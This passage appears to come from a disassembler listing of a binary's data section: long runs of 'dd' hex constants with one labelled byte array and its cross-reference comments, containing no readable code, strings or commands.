		dd 0F9BA857Fh, 7A6C9Ah,	1A8F3959h, 313C922Bh, 0AC871B00h
		dd 502561B8h, 5CD100DCh, 0F6915373h, 8B76CAD8h,	0B8772100h
		dd 2C4C1D0Bh, 12EB0093h, 62857836h, 0A7000E5Bh,	8F2E3F3Ch
		dd 8387FFh, 2C033A6Bh, 18F1106Dh, 235CE704h, 41834774h
		dd 5F5BD0B0h, 687B0348h, 0EFCE9AD4h, 0B1E195A2h, 0C1BC6025h
		dd 48586000h, 97E994BDh, 0B7410EEFh, 8C604570h,	0AB7C1AD6h
		dd 10E53C0Fh, 0A93300EBh, 649049h, 0AE7574B8h, 3124F229h
		dd 3BE6441Eh, 40A9BF0Fh, 119F5B71h, 0ACA70233h,	0C2DA7DFDh
		dd 48BE740h, 3DCAA000h,	5967E50Ch, 1B98C003h, 80F4DC54h
		dd 0B7439F00h, 0A43588C7h, 833207A2h, 80646DF0h, 2A5C0868h
		dd 78E12E00h, 0C928AF70h, 0B6D2002Bh, 269D6722h, 0BC0ED6C5h
		dd 60202D92h, 80487358h, 0D9470037h, 5EBA4E3Bh,	9E4118Eh
		dd 905958h, 8B17E71Fh, 2BAC3Dh,	0E3238750h, 86DAE17Eh
		dd 25543303h, 17F742h, 6E06DCFAh, 6B807BC4h, 9600D170h
		dd 3F33044h, 93498Dh, 0E3F17D82h, 47973A48h, 0A9E06800h
		dd 0B95FE1E6h, 34C0026h, 0AF3E5430h, 320315BAh,	34020747h
		dd 3525F1E3h, 0E1DC2440h, 0C49100D1h, 7855A6E8h, 0F900EB27h
		dd 0A3FBB40Eh, 23EA66h,	7B9DF76h, 6DD797A7h, 1D91990Eh
		dd 3E3D405Ch, 0FEDC4593h, 4946031Eh, 7A82F3EAh,	19648090h
		dd 6C0E4E00h, 0B8B16FC7h, 0E58900ACh, 82D753B6h, 5F019860h
		dd 0A33AEA8Bh, 2EC44290h, 767E00F6h, 0DC7BD0E1h, 501E4415h
		dd 0E61F9429h, 1A32740h, 5B4CC0h, 5932C7CEh, 0FEC399D6h
		dd 5C2E1500h, 0DAF4010Ah, 0E5840240h, 7E425E73h, 693BC480h
		dd 65F07111h, 0DE85DA0Fh, 9B6A2036h, 1C735Dh, 0CCC949B8h
		dd 2B938730h, 6D3FD81Dh, 73F7E680h, 5C7E63A8h, 6A002AA2h
		dd 0EDFDBCCFh, 2F00A555h, 0B5EB8336h, 2EA71CB3h, 0E0D0F39h
		dd 1C6811h, 0D4A5364Fh,	0F9609EC6h, 0E03DB811h,	0D9620016h
		dd 30CE768Fh, 0B4007863h, 0F9AD91D3h, 7514746Dh, 186200E8h
		dd 0DB2ECFB2h, 8E00AE39h, 0D1970E9Ch, 1B0BDAAh,	0ABA9CD7Ch
		dd 70F43EFEh, 0BF03B161h, 81DF92DBh, 0C1700F0Ch, 805F86E8h
		dd 0CF6D5D8Bh, 2C3F310Ah, 9869BB02h, 0C75137A7h, 15651D76h
		dd 34AC4005h, 0B158BFDAh, 5B0A2807h, 12F09377h,	74B6859h
		dd 0A7792D0Dh, 91AC902Eh, 2200FF78h, 0E4E61D06h, 0B7D341h
		dd 0E82984EAh, 0C3830FF5h, 0D118BD73h, 42181745h, 0EA8100EFh
		dd 1918307Fh, 3C01B87Ch, 0F45660F9h, 57D0D1A5h,	92400F04h
		dd 0DDC09F7Dh, 2564BE7Fh, 0EC305104h, 30801DDEh, 1077B6Eh
		dd 3B94EB8Ch, 0D0F52B55h, 3801B23Ah, 99B39A1Fh,	0F04134A0h
		dd 54DC9403h, 0C0FA3C83h, 7F9B0E01h, 0F0D175FDh, 5D00EC81h
		dd 0FFF26035h, 0CC7604h, 0FE7BE964h, 274E07Fh, 0D708AB00h
		dd 0C1B06CA8h, 5EC01FB6h, 0A3F103DBh, 0AE8DA11h, 1D003523h
		dd 4D733041h, 0F7AFCAh,	90B033B1h, 0B3D4F85Bh, 198F5A00h
		dd 0ACFCF26Ch, 755AB86Fh, 0A66D01D9h, 4E681832h, 0DFCC41DEh
		dd 54BA3050h, 79D2BB00h, 0D30893FEh, 10ED0013h,	24E7F85h
		dd 0AE0F574Ah, 40AC9B4Ch, 82C6354h, 76CEACDh, 0FECC883Ah
		dd 3C37E066h, 3600E110h, 0C7673E5Eh, 7E92CFBFh,	0CC8B0384h
		dd 0D4352CDEh, 8F961398h, 0CAFA18C0h, 26FEFCh, 0B5C38D17h
		dd 95EDC8F1h, 0AC9D9100h, 70B46D53h, 0E77807FFh, 507368E3h
		dd 72305652h, 4E312E00h, 8A0D1975h, 0FB5C0029h,	4CB71DD6h
		dd 430096BAh, 5277239Fh, 68F375h, 8BC8D928h, 298EA08Fh
		dd 15563600h, 78AFDE1Bh, 6CB100BEh, 7A8FBBE9h, 7BE0E551h
		dd 713CD688h, 0CBF050ABh, 852B009Ah, 0D173B2FAh, 0A798A378h
		dd 0FE9F6600h, 28394A1Dh, 4B19005Ch, 48D943ECh,	0E0063CDh
		dd 7E18A534h, 9ABA15h, 6E0C369Eh, 0A1E44103h, 0FA00E270h
		dd 77A38263h, 0E04211h,	0BECD388Ch, 0AC9008C1h,	0F5400700h
		dd 1D996E4Ch, 8E0224FDh, 7AFE00B2h, 663BF38Ch, 0D3DCAD00h
		dd 0C6F82149h, 0E7A4A025h, 0E9E063h, 0C8547F93h, 4E79AB98h
		dd 66EAC778h, 0AEA78900h, 0FA2F7414h, 0B00400CEh, 0D7BF1B07h
		dd 57009BC9h, 0ABB129ECh, 56A6D5h, 0A5654A4Ch, 7F1FE8BAh
		dd 22A84B00h, 52876A48h, 0AE71F2h, 61426EB0h, 0C816B35Eh
		dd 0D4EE2300h, 6F960D46h, 1B800ABh, 7DD6C338h, 0FD007E16h
		dd 23F3725Fh, 0F565Eh, 2CAF1981h, 50F7679Ch, 4F340903h
		dd 0B05AA36Dh, 0FF0B3E2h, 88EC1015h, 0AFEF2C21h, 54DB7049h
		dd 0FE43C200h, 1FA1C87Ch, 0F2EC03E8h, 1CE55653h, 9272F080h
		dd 0AC1B8601h, 0A77B8147h, 95E2FCh, 46148DA9h, 18CB3FFBh
		dd 867FBF00h, 0F23A5797h, 1FF7D09h, 0BACDB7B6h,	70EE6D99h
		dd 82008E2Eh, 0EF594D66h, 9247784Eh, 4CD70538h,	0E873A7h
		dd 0E0D6B298h, 0A20009DBh, 12EC0C44h, 0F247C42h, 58871790h
		dd 38B60600h, 9C7F2F15h, 0EF947900h, 40E89662h,	3CF007DDh
		dd 9A38302Eh, 1F8400CAh, 0DB4AC519h, 508E0D00h,	99F093F3h
		dd 9BD20025h, 0A26F2B73h, 0AD00ED6Dh, 5D32DC37h, 0FAD463h
		dd 0F9587481h, 89BF4EB7h, 1C2B9600h, 1FBD6F76h,	0AA8FC1Dh
		dd 12D98E44h, 0C0331CE2h, 0A649EAB8h, 80017C6h,	7DDDE96Ah
		dd 3A9A7Fh, 22061C9Eh, 0F633FABAh, 75EF402h, 0C364569Ch
		dd 0DF53C2E1h, 14CA34E0h, 30721300h, 0D248D6A4h, 0D75125Fh
		dd 0A814FDh, 0B8C508EFh, 0DB4B6059h, 0A51DBE3Ah, 0ACC018B3h
		dd 295B7322h, 0A107240Ah, 9C2810h, 9A03BAEDh, 663A9B41h
		dd 0E3465200h, 0F03BF9CBh, 2E72D0h, 7BDB0F57h, 0C2E27F97h
		dd 0BAFB391Ch, 63730140h, 1CECEEh, 61172E58h, 0ADCFA8Bh
		dd 45A5BC00h, 92774F54h, 7A793Ch, 437BAA76h, 0FCEFB093h
		dd 2100D271h, 0FE8A390Dh, 0C42914h, 0F02F5BABh,	731FAF36h
		dd 0C5383CE4h, 496D80F8h, 0E629E8DEh, 763EE84Ah, 8B794Ch
		dd 0B16B3F0Bh, 0C3941F5Fh, 0FA72A200h, 2FA36E77h, 5B620061h
		dd 4D78EA1Bh, 7100F9F7h, 6A0590F4h, 9C736Bh, 319BCA62h
		dd 500DF81Eh, 0B41F52E2h, 238054CBh, 9C0E8F3h, 39E4B8h
		dd 77C53A93h, 73F64068h, 0F4423Bh, 0E4F8257h, 4CAA51h
		dd 0CD55D195h, 0CBB17CEDh, 62AB7B01h, 688297A4h, 0F95120h
		dd 9BD33ECFh, 59CD649Eh, 6E78261Ch, 8DB41EC0h, 0CCC430h
		dd 18C9BF93h, 7AA96CA7h, 0C8372301h, 0B4BC3864h, 0F660FD30h
		dd 257C0040h, 509A1953h, 2E16EBB7h, 0B007D473h,	1CC055C6h
		dd 60CC5788h, 0D6D1301Fh, 9400415Bh, 6955F8FEh,	0AA7CF1h
		dd 9340FF88h, 98C9C3F5h, 6B95D100h, 0A9025F03h,	0A5E00170h
		dd 43CF5B6Ch, 25EF6047h, 0DB113E03h, 0D0415D1Ch, 4282FC8h
		dd 50BC635Fh, 273AC019h, 4A180B77h, 5440FD0Ch, 627B0A04h
		dd 81149AEFh, 0AD561A0Dh
		dd 66BF489h, 71733D09h,	0CC4500FEh, 94C5A7h, 724786E6h
		dd 570AAA0Ch, 61E46E0Fh, 0CB3CA36Ch, 28528074h,	981A502Eh
		dd 0D61E0053h, 65A1DD12h, 0A400FBD2h, 6DCB10F6h, 32AE23h
		dd 0DDE6172Dh, 6E986F7Ah, 64F85701h, 0C56BD292h, 1754D4h
		dd 0F158FC4Fh, 7E2D52D5h, 38408231h, 0CDC42B28h, 0B78D005Ch
		dd 0E5EC0BAEh, 4F3E0EBBh, 0E77B00A2h, 81596005h, 0E6F830D9h
		dd 0F0C34D40h, 0A9366A00h, 0DF68B21Dh, 975500D2h, 5FE4838Bh
		dd 0CC0039E1h, 82119A43h, 0ADDEFDh, 4193A587h, 0A0C11508h
		dd 4AD76E00h, 362FB96h,	99830E2Fh, 97206D65h, 36BD2B2Dh
		dd 0AD4E1102h, 0E0A0696Bh, 28CEE7h, 0B782A427h,	0EBCB16D7h
		dd 52804F50h, 0CD95DB01h, 847E872Ch, 0F835E180h, 3EE9F9B6h
		dd 18A04400h, 7A2A85ADh, 76B70116h, 0F6DBB265h,	0D6006BAEh
		dd 0F0F49C33h, 87A63B1Ah, 0B06B2C00h, 0E40B695Bh, 0F7C0B500h
		dd 0D10CBE97h, 0A9DF01FEh, 5BAE66BDh, 0DDACE8AFh, 2D122C03h
		dd 0CB580889h, 6B7F044h, 11D11FF4h, 766F4084h, 0BA267719h
		dd 570D221Fh, 45080819h, 4E6F589Eh, 0CDA02B58h,	92219C80h
		dd 0A8AC8800h, 36EAEE83h, 0A12501ADh, 78559631h, 3839D36Ah
		dd 92A3000Fh, 0A4199FD5h, 305FB02Eh, 7C213AA6h,	8E009A02h
		dd 724C8BFDh, 584F268h,	0EEBD15CCh, 605E8734h, 3D1EC4DEh
		dd 8BB54001h, 80238413h, 95C830CBh, 0AA06B8A1h,	2B68DE54h
		dd 52F878E4h, 15C00C42h, 0F0CA2B63h, 6627A100h,	85FF787Eh
		dd 55C80696h, 81800541h, 26ECBE00h, 959BBD54h, 68B618BAh
		dd 6F1708E0h, 7C6120C0h, 0A07452h, 0AEF995A2h, 293E903Ah
		dd 0C1C6F700h, 63C0CC0Ch, 83A90092h, 8A617178h,	3400F20Dh
		dd 65A631EDh, 0CEB9FDh,	0D084B7D3h, 3F82A2AEh, 91C097F6h
		dd 1830B12Fh, 49F8F192h, 0DBAB05EAh, 803639BBh,	2C3CFCA7h
		dd 0C9340B0Eh, 0EB3D4301h, 7915B0D5h, 5796002Ah, 66922FE9h
		dd 9A004D71h, 6C9048BEh, 0F85AA50Fh, 0B0727CB4h, 2CFE88h
		dd 0A901EF1Bh, 0CDED7D35h, 0B39CC800h, 99DD4B80h, 120EF81Eh
		dd 0F412F8Bh, 0BC009D17h, 0DF84926Eh, 7775DC0Eh, 49A96055h
		dd 3230AD2Eh, 0AA784295h, 1A140495h, 40BED18h, 63C89C03h
		dd 5CA09DCAh, 0B142BD97h, 2DC880BEh, 85CB2938h,	0C04D11C0h
		dd 2C5D00E3h, 75F468A7h, 281DCAA3h, 17A3312h, 9385B58Eh
		dd 56F4E1D6h, 0C39903CBh, 785DC438h, 39881AF8h,	174A2900h
		dd 0BFCA909Eh, 0F45EB87Ah, 736981Fh, 4A878949h,	0C6A3A082h
		dd 0AB05F534h, 0B569A117h, 10AC2038h, 80501DDEh, 93B98E92h
		dd 0FCF73091h, 0DD142C88h, 0F6C83163h, 0AF04A044h, 0E9881E2Fh
		dd 27D0AF2h, 46970308h,	2980408Fh, 280274A3h, 223C67E3h
		dd 3E6414Eh, 0FE2352F0h, 0A4EE1C8Fh, 7445E1Bh, 80C1CD68h
		dd 664AE11h, 0A10C2FE6h, 8998083Bh, 54970F9Bh, 43DF02CDh
		dd 0DD134643h, 0B431502Ah, 5024FF00h, 0E9A4C016h, 7396002Bh
		dd 701E76C8h, 323063F7h, 0EF0960A3h, 0B0296055h, 1BBF4DD6h
		dd 2852715Ch, 0B71E2021h, 35C49B28h, 0C7C1D96h,	218044E1h
		dd 0F828B420h, 3023E76Bh, 4E8E227h, 77C0C314h, 26B28EE1h
		dd 1A5E001Eh, 0B2EADBF3h, 4A7339FBh, 0A602541Fh, 503779C0h
		dd 0FDED93h, 0AD9717B4h, 0A973523Fh, 0F9D6FE01h, 3536C2EFh
		dd 0E06EBC43h, 3D65DDE1h, 3D0F56DFh, 0CE00B4ACh, 14BA64E2h
		dd 53AA20A8h, 0FF00797Ch, 3CC795E1h, 2B815h, 6EAF3151h
		dd 3B8788C6h, 74032478h, 770DD446h, 3308E8A1h, 0B95000C3h
		dd 0E0A82FBBh, 1B01C1E6h, 490F5BA6h, 18808828h,	8CDA1F6Bh
		dd 371E9C97h, 0A1077D96h, 0C285F91Dh, 0DCF42030h, 0CBD234Eh
		dd 0AA3CADE4h, 95DD4A10h, 0D9036008h, 0F18EA478h, 0EB56301Dh
		dd 0C0A490Eh, 0CDBC8508h, 78F44038h, 578F8564h,	5499E8C1h
		dd 0F9A35408h, 0EFE0CF9Fh, 0B91E1B2h, 0A4ACA0A0h, 0A090884h
		dd 0B8419FD8h, 204DFACBh, 0A7FEFD0h, 0D83C993h,	0A0D4D840h
		dd 0D7403085h, 8E578249h, 898D8560h, 0DE3C001h,	0A8C04FB5h
		dd 0D4B0000Ah, 0B700C19h, 39013168h, 840DCB53h,	7F02783h
		dd 612E1D15h, 0CF9F3Bh,	0C9C726F3h, 571E029Eh, 98079BC8h
		dd 208A77D1h, 0D4CF9EC1h, 541015FAh, 0F191D9F0h, 0F0A23442h
		dd 0CA6C041Eh, 6B365516h, 0D054DE0Eh, 2ABF6684h, 0F5ACA804h
		dd 54DD6004h, 75DB08D2h, 84FB4C8Ah, 94C5583Ch, 206CF0FCh
		dd 0FAA821BCh, 0B1E89A63h, 141F999Dh, 0A140ADB8h, 0BDE438C0h
		dd 74988F36h, 26BC43C1h, 0E4066EAh, 0CAA77876h,	80A1041Fh
		dd 19A56F5Ch, 0B4163Dh,	6D62EB27h, 419E0Ch, 56A3329h, 8264B1A8h
		dd 0FD924B01h, 1C4CA98Ah, 10772048h, 0A880E0D2h, 80FC42FEh
		dd 5BD9A6A3h, 202E23CEh, 14FF5AE2h, 5A6CC03h, 1A322016h
		dd 189BCE80h, 56572014h, 0A6940060h, 0EB78F4F3h, 84EF47B2h
		dd 7E38FEC6h, 415F5A08h, 4BE2F927h, 0B7B30080h,	90DAC739h
		dd 8E988F2Fh, 0F6459DC1h, 9E0D00C5h, 6206A708h,	0CCED6D61h
		dd 930F1D26h, 0EEE8029Ch, 1656A1C1h, 4867C480h,	0D5A13080h
		dd 20A65E0Dh, 0E6731004h, 207C8520h, 3282B987h,	0C797AE81h
		dd 0CF1C433Ch, 7A92A2ECh, 2140B681h, 6FC0A3D8h,	479495F1h
		dd 782CC896h, 6A2B566Bh, 0A8C22045h, 61F41CA5h,	91D11811h
		dd 0C104C4F3h, 910CBF81h, 0BBB7C607h, 0E6ED2C30h, 0F224A604h
		dd 0B17C0AB5h, 0A4EC3058h, 0AE844CC0h, 20CE5768h, 882F3D85h
		dd 0AA776D4Ch, 8F3C2683h, 581EE48h, 1FF3BEDCh, 28AF3013h
		dd 83024188h, 16A8FD36h, 0AC713E2Eh, 64403085h,	0FC23A367h
		dd 0C4E8E457h, 24888BC8h, 1D50E806h, 0EE7F212Fh, 68334251h
		dd 0C47273C5h, 0A62078CCh, 0E781FD43h, 0A7B4353h, 5840EE8Ah
		dd 0F821D269h, 0B4A514Fh, 569E0703h, 2A9C1827h,	2002B614h
		dd 7CF510A0h, 52A25542h, 0A50140B8h, 0DFAA4F04h, 1A7C2086h
		dd 0F8120A5h, 2F6174F6h, 60BE211Fh, 65699ED9h, 6021612Bh
		dd 9C1986C2h, 20B80AC0h, 0F1605378h, 0D6205CA2h, 0EFF89E05h
		dd 40788477h, 0E1173C1Dh, 5FA0C858h, 2442F38Bh,	8E854EA3h
		dd 145001E8h, 0EFB21D31h, 82A2E1Eh, 15891678h, 20846765h
		dd 0AFF96B1h, 52FC5701h, 5EF8BB84h, 18321240h, 8714038h
		dd 2F8FFCABh, 0A5FF46F8h, 554E0760h, 54A0BABCh,	0F8702FCh
		dd 83A9AC2Bh, 0E0A0015h, 36708001h, 0DFC2003Eh,	0BF33D1D7h
		dd 100084F4h, 5450CB7Bh, 14A49FAh, 0E6669DD3h, 60B4FBDBh
		dd 100F32Bh, 2C4E0685h,	0E24AF16Bh, 820ADD5h, 0A70E882h
		dd 0B2222B95h, 419EC640h, 71858000h, 5A5720BFh,	89F200F0h
		dd 0E97C1859h, 0A9007B70h, 0F7FA7E22h, 0D8F96104h, 0F3775068h
		dd 7E5040D8h, 0E8AB002Bh, 0D1F0C0C7h, 19E8DF30h, 0D7BF4E00h
		dd 21DA5B1h, 9DD40485h,	40B0F259h, 826FE3EDh, 0AAFF294Fh
		dd 0A1BF1F20h, 754B01E3h, 57D500C8h, 0CA84F51Ah, 0E6307065h
		dd 8BD45888h, 7E18DD0Eh, 0C03F2818h, 8D300D9Dh,	690F3116h
		dd 5C2E001Fh, 18B319FEh, 4C01C9EEh, 0D1B575F8h,	398A219Dh
		dd 88C13Ch, 0B2D3E2EEh,	3D006210h, 39A0BEFCh, 1D8DD794h
		dd 801EFD32h, 4EFB20CAh, 0A2008E9Fh, 4AAB5388h,	3F7D897h
		dd 705819F2h, 503C997Ah, 0BF2E0F2Bh, 0B231E0F0h, 5C537Bh
		dd 9338F997h, 59E0F51Dh, 1403C8A6h, 0F94C2DDEh,	0F4FBE864h
		dd 8F77007Dh, 6D53835Fh, 52147130h, 0E41D89h, 0C3E8214Ah
		dd 0B51CCCh
		dd 0A75FCA2Fh, 54F9A9Bh, 0DF4C2500h
		db 6Bh
byte_530055	db 0FCh, 0AFh, 0EBh	; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		dd 0B2323FCBh, 0F0AD2D15h, 0D7B30077h, 26E9C37h, 62029739h
		dd 81D4769Dh, 0E3A18FE6h, 0A6D89E53h, 6D5B0048h, 0FD1E06ADh
		dd 0DB015C85h, 5ECC497Fh, 0C04814ABh, 273D28B5h, 8BE40CE4h
		dd 791828A5h, 1192F600h, 0A9E19EEh, 5C460E66h, 5DC377h
		dd 0FCD04EA9h, 5F7B4C69h, 82285775h, 0A880C853h, 0C73CC9E1h
		dd 5C700C37h, 0FC62185Ah, 5D293071h, 34F5ED28h,	6C3361C0h
		dd 9090417Eh, 125DFE5Ch, 17964ABh, 0CD2B6528h, 0A5A0872Ch
		dd 2DA56929h, 775ED000h, 6C9F7EFFh, 0F8781053h,	1ED59300h
		dd 10820184h, 0E91A0103h, 6C3E2289h, 0A7A84B2Fh, 3AA7C9F1h
		dd 859DE083h, 8006EDE5h, 73D04495h, 8F9F2AF9h, 2AB5F0FCh
		dd 0FBB42502h, 49FF9450h, 4A360034h, 3520B10Ah,	0CB05915Ah
		dd 9E708DD4h, 0C5C1C402h, 13708021h, 6ACBBE8h, 8E05880Fh
		dd 0DF0218C0h, 7F4D3283h, 438A04A2h, 14F31DC9h,	0E0691838h
		dd 4099971Ch, 5F70168Fh, 20C01723h, 0F2F47ED5h,	9CA1C01Fh
		dd 979AE4D8h, 8DAD7F01h, 0D867E82h, 2206043h, 0F957E890h
		dd 0C8A0C365h, 0AE301968h, 180CC271h, 0E85B5F64h, 0F152685Eh
		dd 73C10690h, 91E1D2h, 504AA1C0h, 9BA50094h, 852548D8h
		dd 0CD047F53h, 0ACAB5CE8h, 5A3DA443h, 46B686E0h, 619FF31Eh
		dd 4E4FF9B0h, 2FB40675h, 3088E174h, 0F6E92D27h,	57F40A7Ch
		dd 5CDA0788h, 33A2C2FFh, 0FE965869h, 81A9F4A0h,	8248EDD5h
		dd 21A28924h, 3CF3168Ch, 9A9EFFE4h, 0F5131840h,	804039D3h
		dd 0F7B81A50h, 3AEA1C00h, 9F668277h, 711D2A85h,	0F44BEEA0h
		dd 2CBF0972h, 14809EE9h, 0CF778013h, 0FF02860h,	1EDAE7D1h
		dd 3D863F50h, 6F388700h, 58BDAD72h, 77FF1501h, 0B4F5210Eh
		dd 0CCE07C31h, 516018DAh, 9E3FA894h, 1CE38524h,	2181DD83h
		dd 9B303E5Dh, 0CF24F14h, 1D042D08h, 7D18BB95h, 6268E74Ch
		dd 0F32718h, 1A9CF1A3h,	6BF52600h, 814F8F07h, 41132677h
		dd 0BC943A78h, 0F7058C85h, 9E910Ch, 64A566A0h, 0F4A8AD2Bh
		dd 0FE2AF959h, 4A3FA08Fh, 84A3F2E6h, 849C1821h,	48890D4h
		dd 6042835Bh, 0B8808063h, 0FC717A3Fh, 79125CB0h, 94411605h
		dd 30F960DDh, 96F28440h, 602250D8h, 66FD01C9h, 675DF452h
		dd 0F6245C9Dh, 18EBCF30h, 58B360D7h, 0A840A8E2h, 0EDE622D8h
		dd 0F1FAC908h, 92302127h, 80860308h, 0A93BAF61h, 2B5B8427h
		dd 3CC4EDF9h, 64D18048h, 5B8CD1EBh, 0F042001h, 2A8784Ch
		dd 5C6A2D61h, 0E8A4808Bh, 2E05A112h, 120B9C9h, 0AFEC43Eh
		dd 91C84019h, 0BC986D7Eh, 0C3E80150h, 0E67A420Ch, 5CABC0E3h
		dd 1919305Dh, 0FF41E8CFh, 0F554C7F7h, 3F3C0E55h, 90478488h
		dd 0BE8DC3E8h, 9679C061h, 0A30C27F3h, 0D611F743h, 840A92E4h
		dd 0B083C87h, 2513C155h, 46400885h, 0CAC517DAh,	0E479481Bh
		dd 30F03F71h, 78CAC568h, 9801786Ah, 90955FB2h, 0DE940424h
		dd 183B8831h, 9D319828h, 96852128h, 0F01A89FFh,	90E16C4Ch
		dd 30C36284h, 0E710834Dh, 0B8112476h, 0D65686A0h, 0C23C0F9h
		dd 0E9F11F81h, 3006949Ch, 0FA33E7C2h, 5656C00Ch, 49089CE6h
		dd 5F427E8Dh, 848C3356h, 349C2204h, 2CC283Bh, 0F48E233Ch
		dd 214FF707h, 0E8A3BF88h, 8840CD12h, 6EE9A41h, 0DC855827h
		dd 4409289h, 0A2737BE5h, 7D2A1CA4h, 6723589Eh, 43293A61h
		dd 0A3F09FF4h, 5810390Ah, 0CFF4B695h, 0F1388203h, 0FA2C60CEh
		dd 1D7A00ACh, 0A36256B5h, 0E0007CFBh, 754D2F1Eh, 0FD4DC2Dh
		dd 2B0EFDE4h, 0DF7E223h, 95D23898h, 6FA36305h, 18020FB2h
		dd 0FD3DE69h, 6DC63380h, 0E2500E6Ch, 0BB3E25CEh, 770D0087h
		dd 0F064CB27h, 50F1784Fh, 43A118F8h, 1A7217Ch, 0CF8E8036h
		dd 9D0EE01Eh, 0D0624400h, 1D7C294Eh, 579305DDh,	43B0573h
		dd 40ADA66Ch, 9BE1011Bh, 1EDD1C03h, 4331B07Eh, 7C2027F8h
		dd 0ACC223CFh, 989C5BE2h, 8CAD1A9Ch, 887DA721h,	0D9B1DACDh
		dd 5F0C06C1h, 437A8646h, 8AC82314h, 9554AA83h, 3C2D82Ah
		dd 0FD11DD64h, 29798809h, 720F652Dh, 0B830F7A8h, 272A8C40h
		dd 4B2878CAh, 3C80F4B1h, 8F1C013h, 8D108E11h, 4B8410E0h
		dd 0FC484A83h, 1187F30Fh, 4D29F901h, 200C22AEh,	8A8BC72Ch
		dd 0D16CA208h, 2A0923DAh, 0A8CFB3C9h, 0BF054410h, 1FDFE103h
		dd 8509D848h, 211D7F3Fh, 18AF5E9Ch, 236E43C3h, 0E2258A29h
		dd 7D7B8A60h, 6603C29Ch, 9C245C42h, 0E66B712Ch,	46EED84Ch
		dd 11A710ABh, 61CE99C4h, 3116B0Dh, 0E0F64727h, 3638E695h
		dd 0AFD05300h, 24754341h, 1F28C368h, 200FB2C5h,	0E7C79673h
		dd 99C0167Fh, 5FD8495h,	50254DAFh, 46F41D1Bh, 30BEF1B1h
		dd 0AE64C80Ch, 0ACFBD87Eh, 8D9F624h, 717D5922h,	75914363h
		dd 65AC1030h, 19303EBFh, 0B119928Fh, 0D19B5851h, 40596600h
		dd 7B01707Ch, 671873C5h, 28807EF8h, 0A7A45763h,	177C7C2Ah
		dd 0A5192667h, 259AEC0h, 0E5203ECh, 9E274184h, 3E5368Bh
		dd 18EE7A8h, 8195B000h,	64CCD2A4h, 3F362937h, 50A19E94h
		dd 25C3B056h, 7E8E262Eh, 9DE0309Ch, 416139D5h, 0EC13E650h
		dd 1438A891h, 2E146599h, 0B4096725h, 798000B9h,	906B72DEh
		dd 85781908h, 803D384Ah, 57569349h, 589DC6FAh, 507C0F43h
		dd 13358855h, 238B77Dh,	61BA2578h, 2D83A890h, 0A4D7A629h
		dd 3304AF11h, 80E7F63Eh, 1357674Ch, 1834F548h, 0B5D8F958h
		dd 0A8B31363h, 9D44007Ah, 0E93BF686h, 0ABF50B0Ch, 0A04152E8h
		dd 37EC81C4h, 0B028A0DBh, 37C72C5Ch, 0E0FB3834h, 0BC506858h
		dd 29E3443Ch, 401DF83Eh, 608E5184h, 21BD843h, 1F968179h
		dd 44408D2Ah, 10C595AFh, 0C867062h, 0F4A81510h,	0BB04AC2Ch
		dd 0C0C74F64h, 8E430C34h, 0FA275800h, 8FDD7FA5h, 0A7C781Fh
		dd 0B3CB1D56h, 342C8EE0h, 0FB7A5142h, 0B11FE8A0h, 0E2506198h
		dd 93882730h, 50424487h, 0CC3B0F28h, 0B17B6334h, 3609E070h
		dd 21A200ECh, 4385358Ch, 48A04196h, 294437D4h, 13AE0AB1h
		dd 82C80867h, 0FB1B57B9h, 918E40Ah, 63CD719h, 0B89BAF97h
		dd 4362A017h, 603DD120h, 0EBBFE878h, 9D801857h,	0A8DD2D96h
		dd 138531B4h, 4538045h,	84442E49h, 6B50C1E4h, 0D4181061h
		dd 9389147h, 40ACB757h,	104C14A0h, 0A1E54014h, 8C156529h
		dd 0A24B5709h, 8C79AB90h, 581FC814h, 5012A409h,	0ED1840B8h
		dd 2F7EB393h, 40D1AE30h, 288E79F8h, 0A9C419Bh, 0A894ADFBh
		dd 8DAF03A8h, 0A8244AE3h, 0EC81D0F8h, 16ABB601h, 3DA0430h
		dd 0FD5941DDh, 28242334h, 0B8128FF5h, 878EA843h, 2C1850F1h
		dd 0E812600Bh, 322421C9h, 0AF9C2050h, 4F168700h, 0FC3EF13Ah
		dd 0C1D472BDh, 1B8E9D40h, 0F54830DEh, 40106848h, 0B506948h
		dd 0DE528328h, 0C6110FA8h, 322A0482h, 78CF6880h, 0A88FECB9h
		dd 7C803D80h, 28EF04D6h, 83747D18h, 0F004A78Ch,	47039683h
		dd 0BD128490h, 75A33FFFh, 0D62AE049h, 4CDEB02Ch, 57107441h
		dd 97C10070h, 3EA6DE54h, 23722AA8h, 0FE6712D0h,	2CEC4357h
		dd 47E53120h, 70864324h, 0B381FA28h, 4C09551h, 0B4B0C148h
		dd 6CC556Ch, 0C88C83BDh, 0B3B82A00h, 309A92A2h,	0F8052ACDh
		dd 0CEBC1830h, 97E6F1B0h, 42511012h, 5102C26h, 2CC73F60h
		dd 0A8BC4F27h, 43B3AC0Fh, 0FD959B5Ch, 0CD4D513Dh, 741D7CBCh
		dd 0D4E683B9h, 0C8ABEC81h, 3C301D2Fh, 8063060Fh, 0F930C7A8h
		dd 0DAEBB05h, 8050743h,	84EFC5D1h, 0A3749080h, 0E90C9A88h
		dd 0B19B51A2h, 60B2001Eh
		dd 0D199E7B8h, 19C4A48Eh, 4A5E07Bh, 34149454h, 496710E8h
		dd 3AB99281h, 138235Fh,	8F784C23h, 8229474h, 0D7154582h
		dd 8762C08Fh, 88832E1Ah, 0F3A057D9h, 7EFAE6A8h,	0FE242809h
		dd 675827C1h, 7C232291h, 3CC8ECDh, 98D748AAh, 0B76CA926h
		dd 3247FFB0h, 0C04D84AEh, 9CF09908h, 4B133CB0h,	0F44AEE85h
		dd 83812081h, 467B65B2h, 50A1E980h, 0DC34E4ECh,	0F5B12C16h
		dd 2A51F842h, 0B4A58386h, 48F9E217h, 0B258030h,	32FE5D66h
		dd 6074084h, 0C3996E99h, 7CAB8E20h, 603CFD81h, 145D4E0h
		dd 7BD39AE0h, 0F0949AC6h, 30D67809h, 23217061h,	375078D4h
		dd 0D62C0618h, 31308264h, 2278D73Eh, 0D506E087h, 58A56218h
		dd 0FC09D21h, 0B8A3D6E3h, 6618DEC0h, 31735F30h,	6265A7F5h
		dd 5D9921BDh, 420D1448h, 6230940Ah, 7F82DCECh, 0C8927EBBh
		dd 94FF5774h, 0E8D42AA6h, 3D3A20DEh, 85546902h,	601B1C8Fh
		dd 0C4A4726Ch, 0BFB433E1h, 8F5BE900h, 7F9498B5h, 0E080004Bh
		dd 0F67DF796h, 0B098E20Dh, 0C49F7F26h, 4CC8D09h, 4B416DB8h
		dd 83F591C6h, 45CAE728h, 0F0449B84h, 7C557E25h,	1280B80Fh
